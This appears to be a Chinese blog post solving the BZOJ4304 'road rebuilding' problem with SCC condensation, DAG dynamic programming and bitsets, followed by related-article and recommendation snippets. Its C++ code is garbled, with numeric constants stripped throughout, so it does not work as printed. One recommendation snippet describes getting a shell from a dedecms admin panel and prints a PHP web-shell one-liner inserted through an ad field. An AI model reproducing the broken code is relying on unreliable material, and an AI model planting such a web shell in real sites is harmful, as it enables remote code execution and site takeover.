题目大意:
  给你一个有向图,你可以把其中某一条单向边改成双向边,使得图中最大的SCC最大。
  问SCC最大能是多少,有哪些方案?

思路:
  对原图缩点后就变成了一个DAG。
  我们在DAG上DP,记录一下从点i出发能到达的点集out[i],以及能到达i的点的集合in[i]。
  最后枚举每一条边(u->v),将它改为双向边就相当于将所有u,v之间的点都连通起来,也就是求out[u]和in[v]的交。
  最后我们看一下哪个交最大,以及这么大的有哪些边即可。
  注意要用bitset优化,不然只有60分。

#include<stack>
#include<queue>
#include<cstdio>
#include<cctype>
#include<bitset>
#include<vector>
inline int getint() {
register char ch;
while(!isdigit(ch=getchar()));
register int x=ch^'';
while(isdigit(ch=getchar())) x=(((x<<)+x)<<)+(ch^'');
return x;
}
const int N=,M=;
struct Edge {
int u,v;
};
Edge edge[M];
std::vector<int> e[N],e2[N];
inline void add_edge(const int &u,const int &v) {
e[u].push_back(v);
}
int ind[N],outd[N];
std::bitset<N> in[N],out[N];
int dfn[N],low[N],scc[N],cnt,id;
std::stack<int> s;
bool ins[N];
void tarjan(const int &x) {
dfn[x]=low[x]=++cnt;
s.push(x);
ins[x]=true;
for(register unsigned i=;i<e[x].size();i++) {
const int &y=e[x][i];
if(!dfn[y]) {
tarjan(y);
low[x]=std::min(low[x],low[y]);
} else if(ins[y]) {
low[x]=std::min(low[x],dfn[y]);
}
}
if(dfn[x]==low[x]) {
id++;
int y=;
while(y!=x) {
y=s.top();
s.pop();
ins[y]=false;
scc[y]=id;
in[id].set(y);
out[id].set(y);
}
}
}
inline void kahn(const std::vector<int> e[],int deg[],std::bitset<N> set[]) {
static std::queue<int> q;
for(register int i=;i<=id;i++) {
if(!deg[i]) {
q.push(i);
}
}
while(!q.empty()) {
const int x=q.front();
q.pop();
for(register unsigned i=;i<e[x].size();i++) {
const int &y=e[x][i];
set[y]|=set[x];
if(!--deg[y]) {
q.push(y);
}
}
}
}
int main() {
int n=getint(),m=getint();
for(register int i=;i<m;i++) {
edge[i]=(Edge){getint(),getint()};
add_edge(edge[i].u,edge[i].v);
}
for(register int i=;i<=n;i++) {
if(!dfn[i]) {
tarjan(i);
}
e[i].clear();
}
for(register int i=;i<m;i++) {
const int &u=scc[edge[i].u],&v=scc[edge[i].v];
if(u==v) continue;
e[u].push_back(v);
e2[v].push_back(u);
outd[u]++,ind[v]++;
}
kahn(e,ind,in);
kahn(e2,outd,out);
unsigned ans=;
static std::vector<int> vec;
for(register int i=;i<m;i++) {
const int &u=scc[edge[i].u],&v=scc[edge[i].v];
if((out[u]&in[v]).count()>ans) {
ans=(out[u]&in[v]).count();
vec.clear();
vec.push_back(i+);
} else if((out[u]&in[v]).count()==ans) {
vec.push_back(i+);
}
}
printf("%u\n%llu\n",ans,vec.size());
for(register unsigned i=;i<vec.size();i++) {
printf("%d ",vec[i]);
}
return ;
}

[BZOJ4304]/[JZOJ3486]道路改建的更多相关文章

  1. BZOJ4304 : 道路改建

    首先求出SCC,把图缩点成一个DAG. 通过拓扑排序+DP求出: dp0[x]:从x点出发能到的点的集合. dp1[x]:能到x的点的集合. 对于一条边x->y,将它改为双向边后,形成的新的SC ...

  2. PTA 08-图7 公路村村通 (30分)

    现有村落间道路的统计数据表中,列出了有可能建设成标准公路的若干条道路的成本,求使每个村落都有公路连通所需要的最低成本. 输入格式: 输入数据包括城镇数目正整数NN(\le 1000≤1000)和候选道 ...

  3. PAT 7-14 公路村村通

    https://pintia.cn/problem-sets/1111189748004499456/problems/1111189831248850957 现有村落间道路的统计数据表中,列出了有可 ...

  4. PTA 畅通工程之最低成本建设问题(30 分)(最小生成树 krusal)

    畅通工程之最低成本建设问题(30 分) 某地区经过对城镇交通状况的调查,得到现有城镇间快速道路的统计数据,并提出“畅通工程”的目标:使整个地区任何两个城镇间都可以实现快速交通(但不一定有直接的快速道路 ...

  5. pta08-图7 公路村村通 (30分)

    08-图7 公路村村通   (30分) 现有村落间道路的统计数据表中,列出了有可能建设成标准公路的若干条道路的成本,求使每个村落都有公路连通所需要的最低成本. 输入格式: 输入数据包括城镇数目正整数N ...

  6. pat06-图6. 公路村村通(30)

    06-图6. 公路村村通(30) 时间限制 400 ms 内存限制 65536 kB 代码长度限制 8000 B 判题程序 Standard 现有村落间道路的统计数据表中,列出了有可能建设成标准公路的 ...

  7. bzoj AC倒序

    Search GO 说明:输入题号直接进入相应题目,如需搜索含数字的题目,请在关键词前加单引号 Problem ID Title Source AC Submit Y 1000 A+B Problem ...

  8. 7-6 公路村村通(30 分) 【prime】

    7-6 公路村村通(30 分) 现有村落间道路的统计数据表中,列出了有可能建设成标准公路的若干条道路的成本,求使每个村落都有公路连通所需要的最低成本. 输入格式: 输入数据包括城镇数目正整数N(≤10 ...

  9. DS博客作业06--图

    1.本周学习总结 1.1.思维导图 1.2.谈谈你对图结构的认识及学习体会 本章学习了图结构的相关知识,图形结构属于复杂的非线性数据结构,在实际应用中很多问题可以用图来描述.在图结构中,每个元素可以有 ...

随机推荐

  1. $.on方法与$.click()的区别

    1.$.on("click") 支持动态元素绑定事件,该事件是绑定到document上,只要符合条件的元素即可绑定事件,同时$.on()可以绑定多个事件 on方法 on(event ...

  2. 另类dedecms后台拿shell

    遇到一个被阉割的后台,发现直接传shell显然不行. 然后就有了下文 添加一个新广告. 插入一句话木马: --><?php $_GET[c]($_POST[x]);?><!-- ...

  3. 自动化测试===uiautomator2类似appium

    项目地址:https://github.com/openatx/uiautomator2 http://mp.weixin.qq.com/s/YKxwW-pL603Fll3QIWapVw https: ...

  4. 在Perl中采用open进行管道操作

    在Perl中采用open进行管道操作 http://blog.sina.com.cn/s/blog_4840fe2a0100b8na.html perl exec管道和子进程 http://blog. ...

  5. [hadoop][基本原理]zookeeper简单使用

    代码:https://github.com/xufeng79x/ZkClientTest 1.简介 zookeeper的基本原理和使用场景描述可参考:[hadoop][基本原理]zookeeper基本 ...

  6. javascript 实现图片轮播和点击切换功能

    图片轮播是网页上一个比较常见的功能,下面我们来实现他吧 原理很简单: 1:固定的区域,所有的图片重叠,一次只能显示一张图片 2:通过改变图片的zIndex属性改变显示的图片,就可以达到切换的效果了 & ...

  7. three.js、webGL、canvas区别于关联

    canvas是html5新定义的一个标签,用于做图形容器 webgl要依赖canvas运行. three.js是以webgl为基础的库,封装了一些3D渲染需求中重要的工具方法与渲染循环.

  8. O(n)回文子串(Manacher)算法

    O(n)回文子串(Manacher)算法 资料来源网络 参见:http://www.felix021.com/blog/read.php?2040 问题描述: 输入一个字符串,求出其中最大的回文子串. ...

  9. Linux系统格式化磁盘+挂载分区

    1.查看可使用的磁盘: $fdisk -l 2.对磁盘进行分区: $fdisk /dev/vdb 3.格式化磁盘: $fdisk -l --查看已经分区的磁盘 $mkfs -t ext4 /dev/v ...

  10. Java 类、属性、方法修饰符 public、private、protected、default

    Java 中修饰类修饰符:public .default (默认) Java 中修饰类中属性.方法修饰符:public.private.protected.default (默认) 通过 IDEA 创 ...